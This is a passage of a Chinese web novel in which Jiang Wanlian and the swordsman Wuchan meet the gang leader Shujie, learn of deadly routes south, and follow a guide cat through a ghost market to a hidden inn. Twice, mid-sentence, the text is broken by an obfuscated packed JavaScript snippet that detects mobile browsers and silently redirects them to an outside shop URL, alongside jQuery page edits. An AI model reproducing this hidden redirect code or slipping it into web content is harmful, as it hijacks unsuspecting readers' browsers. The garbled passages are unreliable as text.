“闭嘴。”鼠姐的声音不大,甚至没什么起伏,但两个字落下,如同冷水泼进滚油,整个空地的嘈杂瞬间被掐灭,只剩下一种令人窒息的安静。连远处隐约的喧嚣都仿佛被隔绝开来。 她重新看向江晚怜,又看了看始终沉默如深渊、连气息都未曾紊乱分毫的无忏,那双倦怠的眼睛里闪过一丝极快、极复杂的情绪,像是厌恶,又像是某种物伤其类的感慨。她推开倚靠着的门框,缓步走下木楼前那两级歪斜的台阶,旧靴子踩在泥地上,几乎没有声音。她在距离两人五步远处停下,这个距离既不远得生疏,也不近得冒犯,却刚好是一个能随时应对任何变故的微妙位置。 “悬赏令我看到了,”鼠姐直截了当地说,语气平淡得像在谈论今天阴霾的天气,“渡恶镇最不缺的就是这种东西。每天都有新的贴上去,每天都有旧的被撕掉,或者……”她顿了顿,目光扫过周围几张跃跃欲试又强行按捺的脸,“被血浸透,再也看不清画的是谁。” 她顿了顿,目光在江晚怜脸上停留,那审视的意味浓得化不开:“江家大小姐,江晚怜,江家唯一独子……与暗杀榜榜首无忏同行。”她念出这两个名字时,声音里没有任何起伏,就像在念两块石头上的刻字,但每个字都重若千钧,“赏金,连城。” 江晚怜的心微微一沉,像是被一只冰冷的手攥紧了。她被这样当面、毫无遮掩地点破身份和悬赏,还是让她脊背瞬间爬上一层细密的寒意。她能感觉到周围那些原本就灼热的目光变得更加滚烫、更加赤裸,像无数把无形的、沾着唾液的刀,在她皮肤上反复刮擦,试图找出最脆弱的下刀处。空气仿佛都粘稠了几分,充满了贪婪的喘息。 无忏一直没什么波澜的脸,此刻居然也明显有了变化,特别是听到“同行”二字。不是惊恐,也不是愤怒,而是一种极致的冷,冰封之下似乎有岩浆在涌动。他微微抬起了眼睑,那双异色的眼瞳锁定在鼠姐身上,沉默着,但周身那股生人勿近的寒气陡然加剧,离得近的几个人下意识地后退了半步。 “所以,”江晚怜压下喉咙口的干涩,尽量让自己的声音不抖,“鼠姐是打算拿我们换赏金,让这‘漏雨轩’……也沾沾喜气?”她刻意用了对方地盘的名字,带着一丝不易察觉的试探。 鼠姐没有立即回答。她甚至转过了身,背对着两人,看向空地中央那堆早已冷却、颜色灰白的篝火余烬,仿佛那里面藏着什么答案。她沉默的时间大约有十息,在这压抑的寂静中显得格外漫长。周围的“鼠窟”成员们面面相觑,连呼吸都放轻了。 然后,她忽然轻笑了一声——那笑声很低,带着砂石相互摩擦的粗粝质感,却莫名少了几分之前的倦怠,多了点别的什么,像是自嘲,又像是决断。 鼠姐转过身,目光并未先看江晚怜或无忏,而是缓缓扫过周围那些或明或暗、写满算计与渴望的眼睛,每一个被她目光触及的人都不自觉地避开了视线。她的声音清晰地在空地中响起,不高,却足以让每个人都听清: “那点钱,买不起我的规矩。”她顿了顿,似乎觉得需要解释得更清楚些,又补充道,这次是对着江晚怜和无忏说的,“悬赏令是悬赏令,渡恶镇是渡恶镇。在这里,有些东西比金子硬。你们为什么会同行我不管,也没资格管。” 这句话她说得轻描淡写,甚至语气还是那般懒洋洋的,但江晚怜却听出了其中不容置疑的分量。那不是虚张声势,而是基于某种实力或原则的宣告。周围那些灼热贪婪的目光肉眼可见地收敛、黯淡了下去,有人低声啐了一口,转过身去;有人讪讪地挠头,移开了视线;更多的人则是悄悄后退,重新融入了棚户投下的那片片深不见底的阴影里,仿佛从未出现过。 “跟我进来。”鼠姐说完,也不等两人回应,径自转身,重新走上台阶,推开了那扇吱呀作响的木门,身影没入门内略显昏暗的光线中。 江晚怜看向无忏,用眼神询问。他几不可察地微微颔首,率先迈步跟上,步伐依旧稳定。江晚怜深吸一口气,也只好硬着头皮,在数十道含义各异、却不再那么具有攻击性的目光注视下,踏入了那扇名为“漏雨轩”的木门。门轴转动的声音在她身后响起,像是暂时隔绝了外界的污浊与喧嚣。 门内比想象中要“干净”许多。 这种干净并非指纤尘不染——事实上,屋里的摆设简单得近乎简陋,甚至可以说是寒酸。几张表面布满划痕和虫蛀痕迹的粗糙木桌,几把椅腿不太稳当的歪斜椅子,墙角随意堆着些麻袋、绳索和看不出用途的陈旧杂物,地面是夯实的泥土,还算平整。但至少,没有外面那种无处不在、令人窒息的污浊腥臊气味,反而有股淡淡的、像是某种草药燃烧后残留的清香,若有若无地飘散在空气中,稍稍安抚了紧绷的神经。 窗户用厚实的粗布帘子半掩着,透进些许朦胧的天光,加上屋内中央一张木桌上点亮的一盏小小的油灯,光线勉强够用,在墙壁上投下晃动的、巨大的人影。 鼠姐在其中一张看起来最结实的桌子旁坐下,指了指对面的两张凳子:“坐。”态度随意得像招呼两个偶尔来访的、谈不上熟络的旧识。 无忏先落座,位置选择很讲究,背靠内侧土墙,侧面不远就是窗户,既能观察门口,又留有余地。他将那柄黝黑长剑横放膝上,姿势与往常无异,仿佛只是换了个地方休息。江晚怜跟着坐下,脊背挺得笔直,这才有机会在相对安全的距离内,仔细打量眼前这位掌控着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051687|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渡恶镇一隅、行为却有些令人捉摸不透的“鼠姐”。 近距离看,她脸上的风霜痕迹更加明显,那不是养尊处优者偶尔忧思产生的细纹,而是长期暴露在恶劣环境、经历生死搏杀留下的烙印。眼角有细细的纹路,左侧眉骨上方一道浅白色的旧疤,不长,却清晰,一直斜斜延伸进浓密的发际线里。她的手不算纤细,甚至有些粗粝,指关节略粗大,虎口和几处指腹都有厚厚的老茧,颜色深浅不一,是长期、反复握持不同兵器留下的印记。她自顾自地拎起桌上一个粗陶酒壶,倒了三碗浑浊的、散发着浓烈粮食发酵气味的液体,推到两人面前一碗,自己端起一碗,饮了一大口,喉结滚动。 “你们打算在渡恶镇待多久?”鼠姐放下碗,开门见山地问道,没有半点迂回。 “路过。”无忏开口,回答了,又好像什么都没回答。 “路过……”鼠姐重复这个词,手指无意识地在粗糙的碗沿上摩挲了一下,“从这条道继续往南,出了镇子,漫长的尽头后只有两个地方可去,要么翻过鬼哭岭,要么渡黑水河。”她抬起眼,目光在两人脸上逡巡,“前者,十死无生。后者……九死一生。” 她顿了顿,似乎在观察他们的反应,然后才缓缓问出关键:“你们选哪条?” 江晚怜心里猛地一紧。原作漫画对这片区域的描写极少,只零星提及渡恶镇是个无法无天的混乱之地,是剧情中一个过渡的阴影,却从未详细说明从这里南行,面对的竟是如此直白而残酷的生死抉择。十死无生?九死一生?这听起来根本不像路,更像是通往地狱的两扇不同门户。 “鬼哭岭有什么?”无忏问,似乎对“十死无生”这个评价并无惧意,只是平静地索取更具体的信息。 “有鬼。”鼠姐的回答简短得近乎敷衍,但她看到无忏不为所动的眼神,随即又扯了扯嘴角,补充道,“不是民间传说里那种飘来飘去的鬼魂。是比鬼更麻烦、更实在的东西。终年不散的毒瘴,色彩艳丽却沾之即溃烂的毒虫,天然形成的、走进去就绕不出来的石头迷阵……还有一群靠打劫、虐杀过路人为生的‘山魈’。他们不认钱,不认势,只认弱肉强食,和渡恶镇的大多数人一样,但比这里的人更凶残,更……不像人。”她描述这些时,语气依旧平淡,却更让人毛骨悚然。 “黑水河呢?”无忏继续问。 “河上有船,但船夫古怪。”鼠姐又饮了一口酒,浑浊的液体在她碗里晃动,“他只渡两种人:死人,和将死之人。”她看着无忏瞬间锐利起来的目光,解释道,“渡资不是金银财宝,是你们身上最珍贵的东西——可能是一段至关重要的记忆,可能是苦练多年的武功根基,可能是所剩不多的阳寿……各种你想得到或想不到的东西都有可能,船夫自会根据你的‘价值’判断收取什么。而且,上了船,能不能平安到对岸,也得看运气。” 江晚怜听得脊背发凉,手心冒汗。这哪里是两条路,分明是两个花样翻新、却结局趋同的死法!一个死于残酷的实体劫杀与环境,一个死于诡异莫测的剥夺与未知风险! “难道……就没有第三条路?”她忍不住问,声音里带出了一丝她自己都没察觉的急切。 鼠姐的目光转向她,那双总是倦怠的眼睛里,这一次清晰地闪过一丝情绪——那像是怜悯,又像是一种更深沉的、近乎悲哀的共鸣。 “有。”鼠姐的声音很轻,却重重砸在江晚怜心上,“渡过黑水河,抵达对岸。” 这话说得轻巧,但江晚怜也不傻——这分明就是把“九死一生”又重复了一遍啊!渡河本身就是那条绝路! 50. 幽光中的引路猫 无忏沉默了片刻。油灯昏黄跳跃的火光在他轮廓分明的脸上投下晃动的阴影,那双异色的眼瞳在昏暗中显得更加深邃莫测,仿佛在急速权衡着利弊,计算着那微乎其微的生还可能。 “船夫在哪里能找到?”他最终问道,声音平稳,似乎已经做出了选择。 鼠姐微微眯起眼,细细打量着他,似乎对他的选择并不意外,甚至在她意料之中。她放下酒碗,不知从哪里摸出一杆细长的烟杆,就着油灯点燃,深吸一口,然后缓缓吐出青灰色的烟雾,让她的面容在烟雾后有些模糊:“黑水河边,有一处废弃的小码头,木头都烂得差不多了。只在每夜子时,会有一条乌篷船停靠。船头挂一盏白纸灯笼的就是。”她顿了顿,烟雾后的眼睛格外锐利,“但我说过,上了那条船的人,十个有九个回不来。剩下那一个,就算侥幸回来了,也往往……不再是原来的自己。丢了魂,或者多了点什么不该有的东西。” “你知道的很多。”无忏陈述道,目光直视鼠姐。 鼠姐笑了笑,那笑容里有种说不出的苦涩,冲淡了她脸上的倦怠:“因为,很多年前,我也是那‘十个’之一。” 空气突然安静下来。油灯的火芯发出轻微的噼啪声,屋外远远传来不知谁的叫骂和隐约的犬吠,但这些声音仿佛被一层无形的屏障隔开,显得遥远而不真实。屋内只剩下淡淡的草药香、劣质烟丝的味道,以及一种沉重的、关于过往的秘密即将被触及的氛围。 江晚怜怔怔地看着鼠姐。此刻,她脸上那层似乎永远抹不去的倦怠,在烟雾和灯影下,似乎不再仅仅是懒散或漠然,而更像是一种深沉的、浸入骨髓的疲惫——那种见过太多黑暗、失去太多珍贵之物、连悲伤和愤怒都已被消耗殆尽之后,连情绪都懒得再起伏的麻木与疲惫。 “你……”江晚怜迟疑着,小心翼翼地问,“从黑水河……回来了?” “回来了。”鼠姐回答得很干脆,将烟杆在桌角磕了磕,灰白的烟灰落下,“但也付出代价了。不然,你以为我为什么肯窝在这渡恶镇,当一群老鼠的头儿?”她的话里带着自嘲。 她没有具体说付出了什么代价,语气也轻描淡写。但江晚怜敏锐地注意到,当她说这话时,她的左手无意识地抬起,轻轻按了按自己的右肩关节处,虽然隔着那件深绿色的劲装,看不出什么,但那个细微的、近乎本能的动作,还是暴露了那里或许藏着旧伤,或者……别的什么。 “为什么告诉我们这些?”无忏问出了江晚怜心中的疑问,他的目光如炬,试图穿透鼠姐表面的惫懒,“按你的说法,我们死在路上,对你、对渡恶镇,才是麻烦最少的结局。” 鼠姐重新靠回椅背,在烟雾中恢复了那副懒洋洋的姿态,仿佛刚才那一瞬间流露的苦涩与疲惫只是错觉:“两个原因——第一,我讨厌麻烦。你们两个如果死在鬼哭岭或者黑水河,尸骨无存,悬赏令自然作废,一了百了,对很多人来说也算是天下喜事一桩。但如果你们不明不白地死在渡恶镇,死在我的地盘附近……”她没说完,但意思已经很明显:那会像捅了马蜂窝,引来各种名门正派、觊觎赏金的各方牛鬼蛇神,将渡恶镇这潭本就污浊的水彻底搅成血海,而她这个“地主”首当其冲。 鼠姐的目光在两人之间转了转,烟雾后的眼神有些飘忽,最终落在了江晚怜脸上,那里面探究的意味再次浮现:“第二,我对你有点好奇。” “对我?”江晚怜一愣,心脏不由漏跳半拍。在这种情境下,被这样一个神秘且显然不简单的女人“好奇”,绝非什么轻松的事。 “江家大小姐,”鼠姐慢慢地说,每个字都咬得很清晰,像是在回忆什么,“我虽然窝在这里,但消息并不完全闭塞。我听说过你,或者说,听说过以前的你。骄纵,跋扈,眼高于顶,武功稀松,文墨不通,标准的京城纨绔,草包一个。”她毫不留情地吐出这些评语,看着江晚怜瞬间僵硬、甚至有些发白的脸色,忽然又笑了,这次的笑里多了点说不清道不明的东西,“但现在看来,传言似乎……不太准确。至少你现在的眼神,和‘草包’不太沾边。面对悬赏令和我的地盘,还能站得这么稳,就证明脑子转得也不算慢。” 江晚怜心里警铃大作,脸上却只能强行挤出一点尴尬又不失礼貌的笑:“人、人总是会变的嘛!经历了一些事……”她含糊其辞。 “变得这么快?”鼠姐似笑非笑,身体微微前倾,隔着一张木桌,那带着烟味的压迫感隐隐传来,“从京城到你出现在这里,满打满算,不过多久时间。一个人就算经历剧变,突然开窍,也没这么容易脱胎换骨吧?尤其是……某些深入骨髓的东西。”她的目光似有意似无意地扫过江晚怜的手——那双手虽然不算娇嫩,但也绝无长期练武或劳作的厚茧,更无鼠姐手上那种历经生死搏杀的痕迹。 这话说得轻巧随意,却像一把冰冷而精准的锥子,直刺江晚怜心底最深的、绝不可为人知的秘密。她能感觉到自己的后背瞬间渗出一层冷汗,贴在里衣上,一片冰凉。手心也在冒汗,但她强迫自己稳稳放在膝上,脸上还必须维持着镇定,甚至要努力做出一副“你说得对但我就是经历了你无法想象的打击所以瞬间成长了”的复杂表情。 “生死之间,最能改变一个人。”她听到自己的声音这样说,语气刻意放得低沉缓慢,带着一种劫后余生的沉重感,“有些‘深入骨髓’的东西,当骨头都快被打碎的时候,也就……不得不换了。” 这是她能想到的、最合理也最无法被证伪的借口了!她暗自祈祷这个理由能站得住脚。 鼠姐静静地看了她几秒,烟雾缓缓从她唇间逸出,模糊了她的眼神。然后,她向后靠去,重新隐没在椅背的阴影和缭绕的烟气之后,不置可否地“唔”了一声,听不出是信了,还是懒得再深究。 屋内的寂静再次蔓延,只有油灯燃烧的细微声响,和窗外永不停歇的、属于渡恶镇的、模糊而遥远的嘈杂背景音。 离开“鼠窟”时,暮色已如渗墨般侵蚀了渡恶镇杂乱的天际。两人从鼠姐处得到了南边的消息,以及关键地点——“忘尘客栈”。据鼠姐所言,那客栈不同于分布其他地方的忘尘客栈处于地上,而藏在这片棚户区更深处、更不见天日的“鬼市口”。 鼠姐只给了个大概方位,末了倦怠地摆摆手,仿佛多说一句都嫌累,只提醒了一句:“鬼市口的规矩更少,活命的法子也更少。眼睛和耳朵,都放灵光点。” 踏出那栋歪斜的木楼,重新暴露在逐渐昏暗的天光与无数阴影交织的院落中时,江晚怜立刻感受到来自四面八方的视线——那些原本因鼠姐的话而暂时收敛的“鼠辈”们,并未完全散去。他们或倚在棚柱后,或蹲在阴影里,目光如同黏稠的泥浆,紧紧附着在两人背上,里面翻涌着未能得逞的不甘、赤裸的算计,以及一种看待将死之物的冰冷评估。这些目光比直接的刀剑更让人脊背生寒,如跗骨之蛆,一路尾随,直到他们彻底拐出那片属于“鼠窟”的势力范围,踏入更加错综复杂的巷道迷宫。 所谓的“地下”,并非真正的地窖或洞穴,而是指渡恶镇中心区域一片地势更低洼、建筑更加拥挤破败、常年不见阳光的街区——“鬼市口”。这里比地上更为混乱、污浊,是连渡恶镇地面上那点勉强维持的、脆弱的“规矩”都几乎荡然无存的地带。官府?那更像是一个遥远的笑话……或许有佩戴官家符号的人在此流连,但他们往往并非秩序的维护者,而是这泥潭中最贪婪的捕食者之一。 天色彻底暗了下来。渡恶镇少有正经的灯火,零星的光亮来自某些窗户后摇晃的油灯,或是悬挂在歪斜屋檐下几盏破旧褪色的红纸灯笼。灯笼在带着湿气的晚风中无力晃动,投下片片不规则、颤动的红光,非但不能驱散黑暗,反而将断裂的房梁、堆积的杂物阴影拉扯得更加诡谲狰狞,如同潜伏的鬼怪。 各种声音在狭窄的巷道里碰撞、回荡:远处模糊的嘶喊、近处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051688|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门板后压抑的争吵、不明角落传来的痛苦呻吟,还有某种类似物体拖行的窸窣声……这些声音混杂着劣质酒气、腐烂食物和更难以言喻的气味,共同构成一种无处不在的、令人神经紧绷的低语背景。江晚怜紧紧跟在无忏身侧,几乎能听见自己有些过快的心跳声。她强迫自己目视前方无忏挺直的背影,不敢轻易环顾四周。这一切太像沉浸式恐怖游戏的场景了,黑暗中仿佛随时会伸出苍白的手,或睁开无数非人的眼睛。 突然。 “啊啊啊———!!!” 一声短促而凄厉的惨叫,毫无预兆地自身后极近处炸响!那声音充满了极致的惊恐,仿佛见到了世间最可怖的景象,瞬间刺破了巷道里原有的混沌背景音。 “铮——!” 金属摩擦的轻鸣几乎与叫声同步!无忏的身体在刹那间绷紧如猎豹,右手已本能地按上剑柄,漆黑长剑出鞘半寸,在昏暗光线下划过一道冷凝的弧光,森然杀意如同实质的寒风向声源处席卷而去!他的动作快得只剩残影,全然是千锤百炼的应激反应。 然而,预期中的袭击并未到来。那声惨叫余音未落,已戛然而止,正来自他身后。 无忏瞬间明了。按在剑柄上的手指力道一松,那出鞘半寸的寒光悄然滑回鞘中,整个过程流畅而沉默。他缓缓转过身。 巷道更加昏暗了,仅有远处一点摇晃的灯笼余光勉强勾勒出身形轮廓。江晚怜看不清他此刻脸上的表情——呃,虽然这人平时也几乎没什么表情,但她能无比清晰地感受到,一股强烈到近乎实质的怒意正从他身上弥漫开来,冰冷刺骨,甚至比方才乍现的剑光更让人心头发紧。那是一种被打扰了绝对警戒状态的愠怒,以及因误判而生的凛冽不悦。 “你干什么?”他的声音压得很低,一字一顿,像冰珠砸在石面上。 江晚惊魂未定地眨了眨眼,脸颊后知后觉地涌上一股燥热。她顺着无忏那冰冷视线垂落的方向,看向自己脚边不远处—— 一只猫。 一只体态优雅、毛色在昏暗中看来是深色与白色的猫,正蹲在脏污的地面上,一双圆溜溜的眸子在暗处反射着诡异的莹黄光泽,静静地望着他们。方才,就是这小东西不知从哪个角落猛地窜出,柔软的尾巴尖冷不丁扫过了江晚怜的脚踝,那冰凉滑腻的触感,在极度紧张的氛围下,被她过度敏感的神经放大成了某种恐怖的袭击,这才导致了那声丢人的惊呼。 江晚怜只觉得脸颊烧得更厉害了,心里又羞又恼地对着那只猫无声控诉:刚刚就是你害的我吓到了!!! 那只猫,细看之下,好像是只简州猫。它并未因两人的注视而逃离,反而歪了歪头,脖颈上悬挂的一个小物件轻轻晃动——那是一块不起眼的木牌,样式古朴,借着微光,隐约可见上面刻着一个复杂的猫形徽记,正是属于“忘尘客栈”的标识。 就在这时,简州猫仿佛完成了审视,轻盈地一转身,尾巴高高竖起,不紧不慢地朝着旁边一条更为狭窄、几乎被阴影完全吞没的巷口走去,走了几步,又停下,回头望了他们一眼,黄澄澄的眼睛在黑暗中明灭不定,如同引路的幽灯。 江晚怜还没来得及为这诡异的向导感到惊讶,只见眼前黑影一晃。 无忏抬起手臂,手刀在空中划过一道简洁的弧线,不轻不重地落在了她的头顶。 “唔!!”江晚怜猝不及防,低呼一声,连忙抬手捂住被劈中的地方,倒是不疼,更多的是吓了一跳,以及一种做错事被抓包的心虚感。 “跟上。”无忏收回手,言简意赅,没有再追究她方才那声惊叫可能带来的麻烦,目光已锁定前方那只渐行渐远的猫影,迈步跟了上去。他的怒意似乎随着这个小小的惩戒动作消散了大半,重新恢复了那种冰冷的专注。 江晚怜揉着脑袋,不敢再多言,赶紧快步跟上。两道身影,就这样沉默地尾随一只神秘的简州猫,更深地没入了渡恶镇地下——“鬼市口” 51. 鬼市口 巷子幽深得超乎想象,七弯八绕,如同通往地底深处的诡谲肠道。两侧低矮歪斜的棚户阴影层层叠压,将头顶最后一线稀薄天光也吞噬殆尽,世界沉入一种粘稠的、仿佛有实质的黑暗。无边的寂静与压迫感从四面八方包裹而来,唯有前方那只简州猫轻盈跃动的身影,以及它脖颈木牌偶尔磕碰出的、细碎如冰珠落玉盘的“哒哒”声,成了这片绝对幽暗中唯一的指引与微弱慰藉。脚下的泥泞越来越湿滑黏腻,每走一步都需格外小心,鞋底带起令人不适的粘连感。空气中那股混杂着霉腐、腥臊、铁锈与不明甜腻的气味也越发浓重刺鼻,一阵阵袭来,令人错觉正穿行于某个庞然巨物仍在缓慢蠕动、腐烂的脏腑之中,连呼吸都变得小心翼翼。 就在江晚怜被这逼仄的幽闭感和诡异的嗅觉刺激弄得头皮发麻、几乎要出声询问还有多远时,前方视野骤然一阔。 并非重见天日,而是跌入了一片……难以言喻的、地底之下的“畸繁华”中。光线与声浪如同实质的潮水,瞬间淹没了感官。 ——这便是真正的“鬼市口”。 初看之下,竟有几分扭曲变形的市井烟火气。通道在此处豁然开朗,形成一片不规则却相当宽阔的地下腔体,仿佛山腹被掏空了一块。两旁密密麻麻挤满了形形色色的“摊位”,见缝插针,毫无章法:破草席直接铺在泥地上,歪斜木板勉强搭成摇摇欲坠的柜台,甚至就是几口敞开、露出内里乾坤的旧木箱或破麻袋。摊前光源各异,悬着零星昏黄的气死风灯、烛火在油盏中不安摇曳,更有甚者摆着几块散发出惨淡、稳定绿荧的诡异石头,或是嵌在简陋灯座里幽幽燃烧的蓝色冷焰。这些光将这片地下空间映照得光影幢幢、鬼气森森,人影投在凹凸不平的岩壁上,被拉扯成扭曲怪诞的形状。人影攒动,压低的讨价还价声、含糊的吆喝、意义不明的低语、偶尔响起的怪异轻笑或短促争执嗡嗡汇聚、盘旋上升,竟在这地底营造出一种畸形、拥挤而病态的热闹,与地上渡恶镇的混乱喧嚣截然不同,更添几分隐秘与邪性。 然而,只消稍稍定睛,那点脆弱的“寻常”幻觉便瞬间支离破碎,露出底下赤裸裸的诡谲与阴森。 左边摊位,一个干瘦得如同披着人皮的骷髅、眼窝深陷的老者盘坐着,面前几个粗陶罐用脏污油纸和草绳紧紧封口。他用枯枝般、指甲尖长的手指有一下没一下地敲击罐壁,里面立刻传来令人头皮发麻的密集窸窣抓挠声,间或夹杂着几不可闻的、仿佛幼童痛苦啜泣或啮齿动物哀鸣的细微声响,听得人牙根发酸。“刚到的‘耳报神’,北边沼泽泥眼里捞出来的,新鲜着哩,”老者声音嘶哑得像破风箱,眼皮耷拉着,却从缝隙里透出精光,“养熟了,认了主,能听三里外的墙角私语,风吹草动都瞒不过……最后一个,只换饮过血的精铁,或者三年以上的心头精血。” 右边,一个身形佝偻、面覆黑纱、连手指都裹着脏布条的妇人蹲在更深的阴影里,面前一块发黑的绒布上,十几颗大小不一、形状各异的牙齿被仔细排列。那些牙齿在幽绿荧光下泛着瘆人的惨白或暗黄,有些还粘连着早已干涸发黑的丝丝血迹,或是带着一小块可疑的牙床组织。“童男童女的乳牙,阳气未泄,阴质初凝,筑基纳气、炼制阴属性法器的上品……”妇人声音尖细飘忽,仿佛从很远的地方传来,她枯瘦的手指捏起一颗略大、看起来更晶莹些的,“客官瞧这颗,对着光看,隐有灵光流转,是带了先天一丝灵根的……得加钱,至少这个数。”她伸出三根裹布的手指。 更远处光影迷离处,景象愈发诡谲荒诞:颜色浑浊的玻璃瓶罐里泡着难以辨认的器官碎片或盘绕的怪异生物;残缺不全、血迹斑驳、材质不明的皮卷或骨片被鼓吹为某处失落秘境或上古洞府的残图;几柄锈蚀严重却隐隐散发不祥煞气、仿佛有黑雾缭绕的兵刃横陈,摊主唾沫横飞地讲述它们来自某场湮灭的古战场,饮过多少修士鲜血;甚至有人面前只摆着几个贴了符箓的陶瓮,瓮口微微震动,传出模糊的呜咽……空气里交织着劣质熏香、陈腐草药、新鲜或陈旧的血腥气、矿物与泥土的土腥,以及一种甜腻得令人作呕、仿佛大量血肉混杂着香料正在静静腐败的诡异味道,浓烈得几乎化不开。 这里流通的,绝非人间烟火,而是最原始的欲望、最深切的恐惧、不可告人的隐秘,以及一切无法暴露于朗朗乾坤之下的阴暗念想与禁忌之物。 江晚怜后颈发凉,她能察觉到无数道视线如冰凉滑腻的触手,似有若无地扫过他们,带着估量、审视、好奇,或许还有对“生面孔”背后可能代表的麻烦或机会的算计。但或许因为这鬼市自有其更残酷无情、弱肉强食的铁律,也或许是因为无忏周身散发出的那股渊渟岳峙般的冰冷气息,以及他看似随意搭在剑柄上的手太过慑人,终究无人敢上前滋扰半步,那些视线大多一触即收。 那只简州猫对此间光景早已司空见惯,依旧迈着优雅从容、不急不缓的步子,灵巧而精准地穿行于这片光怪陆离、危机暗藏的“集市”。它时而轻盈跃过地面的污水泥洼,时而灵巧避开行人沾满泥垢、可能带着煞气的脚,对两旁摊位上稀奇古怪的物事和摊主们投来的目光视若无睹,仿佛行走在自家庭院。偶尔驻足,回首用那双在昏暗中显得格外明亮、通透如琥珀的黄澄澄眼眸望来,眼神平静,仿佛一位熟稔此间所有隐秘路径与无形规则的沉默向导,耐心确认两位“客人”是否跟紧。 跟着这毛茸茸的引路者,他们渐渐偏离了喧闹的主干区域,拐入一条更为幽僻、灯火愈发稀落昏沉的岔道。身后的嗡嗡人声、光影变幻如潮水般迅速退去,被厚厚的岩壁与寂静吞噬,只余下两人一猫轻浅不一的脚步声,以及自己有些加快的心跳声,在狭窄、似乎更显压抑的甬道里清晰回荡,甚至能听到隐约的滴水声。两侧已不见摊位,只剩断壁残垣、崩塌的土石和黑洞洞的、不知深浅的废弃门洞或裂缝,像一张张无声呐喊、择人而噬的嘴,散发着陈旧的不祥气息。 最终,简州猫在一处极不起眼、仿佛已是死路的角落停下。那里倚着一堵半塌的、露出内部夯土的土墙,墙根堆叠着朽烂木料、破碎瓦罐与其他难以辨认的杂物,与周围无数被遗忘、被遗弃的角落毫无二致,弥漫着衰败与终结的味道。然而,猫咪却轻盈跃上那堆朽木,步伐稳健地走到尽头,用小脑袋顶开一块看似随意倚靠、实则略有玄机、边缘磨损光滑的破旧木板——一道仅容一人躬身通过的狭窄缝隙显露出来,后面是更深的黑暗。它再次回头,目光在两人身上静静停留一瞬,那双猫眼在昏暗中仿佛会自行发光,随即一矮身,宛若一滴水融入阴影,悄无声息地钻了进去,消失不见。 无忏没有丝毫迟疑,上前一步,略一低头,修长挺拔的身影便没入那仿佛巨兽齿缝的狭窄入口,毫不犹豫。江晚怜深吸一口带着浓厚土腥与陈旧灰尘味的空气,将心中最后一丝对黑暗、未知与可能存在的陷阱的惧意压下,也弯腰跟了进去,粗糙的木茬擦过她的衣袖。 缝隙之后,景象出乎意料。并非想象中更加逼仄的洞穴、堆积的废弃物或不堪的处所,而是一段向下延伸、颇为规整、以青石砌成的阶梯。石壁两侧,每隔数步便稳妥地嵌着一盏小巧的黄铜油灯,灯焰稳定,散发出柔和的橘黄色光晕,不仅有效驱散了黑暗,更带来一种与外界鬼市那混乱、诡谲、阴森氛围截然不同的、近乎突兀的“整洁”、“有序”与“安稳”感。空气也清新不少,隐隐有股淡淡的、类似檀香与草药混合的宁静气息,抚慰着紧绷的神经。 石阶不长,约莫二十余级后,一扇朴实厚重、表面带着天然木纹的木门出现在眼前。门扉样式简洁,没有任何花哨装饰,却显得异常结实。门上挂着的木牌,与之前那间“忘尘客栈”如出一辙,字迹工整。门旁同样悬着一盏样式古旧、却擦拭得干净的灯笼,散发着温暖而恒定的光,将木门及其周围一小片区域笼罩在一片令人心安的、驱散阴冷的暖色光晕里。此地,便是藏于渡恶镇地底污浊与混乱之中的另一处“忘尘客栈”,一个仿佛存在于截然不同世界的避风港。

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“这是什么?”江晚怜疑惑道,手指却不由自主地伸过去,轻轻挠了挠猫咪温软的下巴和耳根。猫儿立刻眯起眼,喉咙里发出惬意响亮的呼噜声,身体也放松下来。 无忏的目光在信笺和猫之间游移片刻,与简州猫那双通透的、仿佛能看穿人心的琥珀色眼睛静静对视了一会儿,仿佛在进行某种无声的交流。半晌,他才伸手取过信件,拆开火漆封缄。 江晚怜好奇地凑近。信纸是普通的棉纸,但上面的字迹颇有些龙飞凤舞、力透纸背,显得潇洒不羁又有些急躁,内容大致如下: 「白溪村赵家那小崽,伤已好利索了,筋骨无碍,就是夜里偶尔惊梦,得慢慢养。今早他大姑来领走了,我私下探过底,家底厚实,为人也仁厚爽利,是真心疼孩子。孩子跟着她,吃不了亏,将来干啥都有倚仗,总算有个着落。 另:赵德富毙命之事已传开,他那两个妻妾横死之状,不知被谁做了文章,一并算在了你头上。江湖风闻,对你颇为不利。你与那丫头的悬赏,又添了好大一笔。自己掂量!没事少露面! 最后:受伤了别再来找老子!!!老子不是你的专属大夫!!!」 落款处,是一行力透纸背、笔画夸张、几乎要飞出纸面的嚣张字迹:「全江湖乃至全天下最帅最英俊潇洒玉树临风的苏大美男子」。 江晚怜盯着那落款,嘴角抽了抽:“……?” 无忏看着信,沉默了片刻,眼神似乎微微动了一下,闪过一丝类似于“果然如此”又带着点无可奈何的复杂神色。 这消息算好坏参半。赵家那可怜孩童,被他生父长期荼毒,生母还被父所杀。身心俱创,如今能有个靠谱富足、真心待他的亲戚接纳抚养,已是不幸中的万幸,未来总算有了一线光亮。这让他们这些间接卷入此事的人,心中那点沉甸甸的负疚感,稍稍减轻了些许。 可这凭空多扣上来的、关于赵德富妻妾的罪名,着实令人憋闷且警惕。 